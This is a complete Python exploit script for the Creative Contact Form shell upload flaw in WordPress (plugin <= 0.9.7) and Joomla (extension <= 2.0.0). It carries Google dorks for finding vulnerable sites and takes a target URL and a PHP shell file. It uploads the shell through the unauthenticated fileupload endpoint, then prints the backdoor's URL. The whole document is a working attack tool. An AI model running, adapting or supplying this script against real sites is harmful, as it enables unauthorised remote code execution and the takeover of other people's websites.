#!/usr/bin/python # # Exploit Name: Wordpress and Joomla Creative Contact Form Shell Upload Vulnerability # Wordpress plugin version: <= 0.9.7 # Joomla extension version: <= 2.0.0 # # Vulnerability discovered by Gianni Angelozzi # # Exploit written by Claudio Viviani # # Dork google wordpress: inurl:inurl:sexy-contact-form # Dork google joomla : inurl:com_creativecontactform # # Tested on BackBox 3.x # # http connection import urllib, urllib2, sys, mimetypes # Args management import optparse # file management import os, os.path # Check url def checkurl(url): if url[:8] != "https://" and url[:7] != "http://": print('[X] You must insert http:// or https:// procotol') sys.exit(1) else: return url # Check if file exists and has readable def checkfile(file): if not os.path.isfile(file) and not os.access(file, os.R_OK): print '[X] '+file+' file is missing or not readable' sys.exit(1) else: return file # Get file's mimetype def get_content_type(filename): return mimetypes.guess_type(filename)[0] or 'application/octet-stream' # Create multipart header def create_body_sh3ll_upl04d(payloadname): getfields = dict() payloadcontent = open(payloadname).read() LIMIT = '----------lImIt_of_THE_fIle_eW_$' CRLF = '\r\n' L = [] for (key, value) in getfields.items(): L.append('--' + LIMIT) L.append('Content-Disposition: form-data; name="%s"' % key) L.append('') L.append(value) L.append('--' + LIMIT) L.append('Content-Disposition: form-data; name="%s"; filename="%s"' % ('files[]', payloadname)) L.append('Content-Type: %s' % get_content_type(payloadname)) L.append('') L.append(payloadcontent) L.append('--' + LIMIT + '--') L.append('') body = CRLF.join(L) return body banner = """ ___ ___ __ __,-,__ | Y .-----.----.--| .-----.----.-----.-----. | ' '__| |. | | _ | _| _ | _ | _| -__|__ --| | __| |. / \ |_____|__| |_____| __|__| |_____|_____| |_______| |: | _______ |__| __ |_| |::.|:. | | _ .-----.-----.--------| .---.-. `--- ---' |___| | _ | _ | | | _ | |. | |_____|_____|__|__|__|__|___._| |: 1 | |::.. . | `-------' _______ __ __ _______ __ __ | _ .----.-----.---.-| |_|__.--.--.-----. | _ .-----.-----| |_.---.-.----| |_ |. 1___| _| -__| _ | _| | | | -__| |. 1___| _ | | _| _ | __| _| |. |___|__| |_____|___._|____|__|\___/|_____| |. |___|_____|__|__|____|___._|____|____| |: 1 | _______ |: 1 | |::.. . | | _ .-----.----.--------. |::.. . | `-------' |. 1___| _ | _| | `-------' |. __) |_____|__| |__|__|__| |: | |::.| `---' Cr3ative C0nt4ct Form Sh3ll Upl04d Discovered by: Gianni Angelozzi Written by: Claudio Viviani http://www.homelab.it info@homelab.it homelabit@protonmail.ch https://www.facebook.com/homelabit https://twitter.com/homelabit https://plus.google.com/+HomelabIt1/ https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww """ commandList = optparse.OptionParser('usage: %prog -t URL -c CMS-f FILENAME.PHP [--timeout sec]') commandList.add_option('-t', '--target', action="store", help="Insert TARGET URL: http[s]://www.victim.com[:PORT]", ) commandList.add_option('-c', '--cms', action="store", help="Insert CMS Type: wordpress|joomla", ) commandList.add_option('-f', '--file', action="store", help="Insert file name, ex: shell.php", ) commandList.add_option('--timeout', action="store", default=10, type="int", help="[Timeout Value] - Default 10", ) options, remainder = commandList.parse_args() # Check args if not options.target or not options.file or not options.cms: print(banner) commandList.print_help() sys.exit(1) payloadname = checkfile(options.file) host = checkurl(options.target) timeout = options.timeout cmstype = options.cms print(banner) if options.cms == "wordpress": url_sexy_upload = host+'/wp-content/plugins/sexy-contact-form/includes/fileupload/index.php' backdoor_location = host+'/wp-content/plugins/sexy-contact-form/includes/fileupload/files/' elif options.cms == "joomla": url_sexy_upload = host+'/components/com_creativecontactform/fileupload/index.php' backdoor_location = host+'/components/com_creativecontactform/fileupload/files/' else: print("[X] -c options require: 'wordpress' or 'joomla'") sys.exit(1) content_type = 'multipart/form-data; boundary=----------lImIt_of_THE_fIle_eW_$' bodyupload = create_body_sh3ll_upl04d(payloadname) headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36', 'content-type': content_type, 'content-length': str(len(bodyupload)) } try: req = urllib2.Request(url_sexy_upload, bodyupload, headers) response = urllib2.urlopen(req) if "error" in response.read(): print("[X] Upload Failed :(") else: print("[!] Shell Uploaded") print("[!] "+backdoor_location+options.file) except urllib2.HTTPError as e: print("[X] Http Error: "+str(e.code)) except urllib2.URLError as e: print("[X] Connection Error: "+str(e.code))